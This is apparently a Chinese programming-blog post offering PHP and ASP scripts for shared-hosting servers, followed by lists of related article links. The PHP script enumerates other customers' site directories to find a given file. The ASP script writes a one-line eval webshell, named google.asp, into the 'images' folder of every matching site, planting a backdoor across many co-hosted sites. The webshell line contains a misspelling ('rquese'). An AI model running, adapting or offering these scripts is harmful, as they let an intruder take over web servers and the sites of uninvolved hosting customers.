php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
WinXP + Apache +PHP5 + MySQL + phpMyAdmin安装全功略
Jul 09 PHP
MySQL相关说明
Jan 15 PHP
PHP 日期加减的类,很不错
Oct 10 PHP
php array_filter除去数组中的空字符元素
Jun 21 PHP
PHPThumb PHP 图片缩略图库
Mar 11 PHP
PHP删除HTMl标签的实现代码
Jun 30 PHP
PHP采用curl模仿用户登陆新浪微博发微博的方法
Nov 07 PHP
PHP结合jQuery插件ajaxFileUpload实现异步上传文件实例
Aug 17 PHP
Zend Framework创建自己的动作助手详解
Mar 05 PHP
PHP的Yii框架中移除组件所绑定的行为的方法
Mar 18 PHP
PHP Yaf框架的简单安装使用教程(推荐)
Jun 08 PHP
PHPUnit测试私有属性和方法功能示例
Jun 12 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
PHP5新特性: 更加面向对象化的PHP
2006/11/18 PHP
PHP通过iconv将字符串从GBK转换为UTF8字符集
2011/07/18 PHP
destoon安装出现Internal Server Error的解决方法
2014/06/21 PHP
thinkPHP5.0框架模块设计详解
2017/03/18 PHP
php实现自定义中奖项数和概率的抽奖函数示例
2017/05/26 PHP
PHP的简单跳转提示的实现详解
2019/03/14 PHP
Yii框架分页技术实例分析
2019/08/30 PHP
JavaScript 无符号右移赋值操作
2009/04/17 Javascript
JavaScript 学习笔记(十五)
2010/01/28 Javascript
IE event.srcElement和FF event.target 功能比较
2010/03/01 Javascript
javascript判断非数字的简单例子
2013/07/18 Javascript
javascript排序函数实现数字排序
2015/06/26 Javascript
jQuery.Uploadify插件实现带进度条的批量上传功能
2016/06/08 Javascript
jQuery设置单选按钮radio选中/不可用的实例代码
2016/06/24 Javascript
初识简单却不失优雅的Vue.js
2016/09/12 Javascript
JavaScript函数柯里化原理与用法分析
2017/03/31 Javascript
Nodejs搭建wss服务器教程
2017/05/24 NodeJs
利用jquery如何从json中读取数据追加到html中
2017/12/01 jQuery
webpack实用小功能介绍
2018/01/02 Javascript
JavaScript原型链与继承操作实例总结
2018/08/24 Javascript
js实现图片3D轮播效果
2019/09/21 Javascript
微信小程序实现上拉加载功能
2019/11/20 Javascript
vue element-ui实现input输入框金额数字添加千分位
2019/12/29 Javascript
python正则表达式面试题解答
2020/04/28 Python
python绘制多个曲线的折线图
2020/03/23 Python
面向对象学习之pygame坦克大战
2019/09/11 Python
python高阶函数map()和reduce()实例解析
2020/03/16 Python
python SOCKET编程基础入门
2021/02/27 Python
纯CSS3实现表单验证效果(非常不错)
2017/01/18 HTML / CSS
AmazeUI中各种的导航式菜单与解决方法
2020/08/19 HTML / CSS
文明美德伴我成长演讲稿
2014/05/12 职场文书
2014大四本科生自我鉴定总结
2014/10/04 职场文书
幼儿园推普周活动总结
2015/05/07 职场文书
企业安全生产规章制度
2015/08/06 职场文书
如何利用pygame实现打飞机小游戏
2021/05/30 Python
方法汇总:Python 安装第三方库常用
2022/04/26 Python